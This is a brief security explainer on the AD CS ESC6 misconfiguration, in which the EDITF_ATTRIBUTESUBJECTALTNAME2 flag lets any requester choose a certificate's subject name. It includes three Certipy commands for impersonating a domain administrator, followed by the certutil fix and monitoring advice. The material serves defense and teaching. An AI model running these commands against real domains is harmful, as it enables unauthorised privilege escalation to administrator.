ESC6 is an AD CS misconfiguration caused by the EDITF_ATTRIBUTESUBJECTALTNAME2 flag being set on the certificate authority. With this flag on, any requester can specify a Subject Alternative Name (SAN) in their request, regardless of the template. That means a low-privileged user can request a certificate and add administrator@corp.local as the SAN, then authenticate as that admin, turning essentially every authentication template into ESC1. The fix is one CA setting.
What ESC6 is
A certificate’s Subject Alternative Name (SAN) is the identity it authenticates as. Normally only specific templates let the requester supply it. The CA-wide flag EDITF_ATTRIBUTESUBJECTALTNAME2, when enabled, lets any request specify the SAN, overriding template restrictions.
That single flag undermines the whole template model: it does not matter that your templates are locked down, because the CA will honour an attacker-supplied SAN on any of them. ESC6 is therefore a CA-level switch, not a per-template issue.
The abuse and payload
With the flag set, the attacker requests a certificate on any enrollable authentication template and adds a privileged SAN:
- Check the flag and templates:
certipy find -u user@corp.local -p pass -dc-ip <ip>(reports the CA flags) - Request with a SAN naming an admin:
certipy req -u user@corp.local -p pass -ca CORP-CA -template User -upn administrator@corp.local - Authenticate as the admin:
certipy auth -pfx administrator.pfx
Documented Certipy steps for defensive recognition.
How to defend
- Disable EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA:
certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2then restart the CA service. - Verify with Certipy that the flag is reported off.
- Monitor certificate issuance for requests carrying an unexpected SAN, especially a privileged identity.
- Recheck after CA changes, since the flag can be re-enabled by misguided configuration.
References
- [1]Microsoft: Active Directory Certificate Services(Microsoft)
- [2]MITRE ATT&CK Enterprise Matrix(MITRE)
- [3]NIST SP 800-115 Technical Guide to Security Testing(NIST)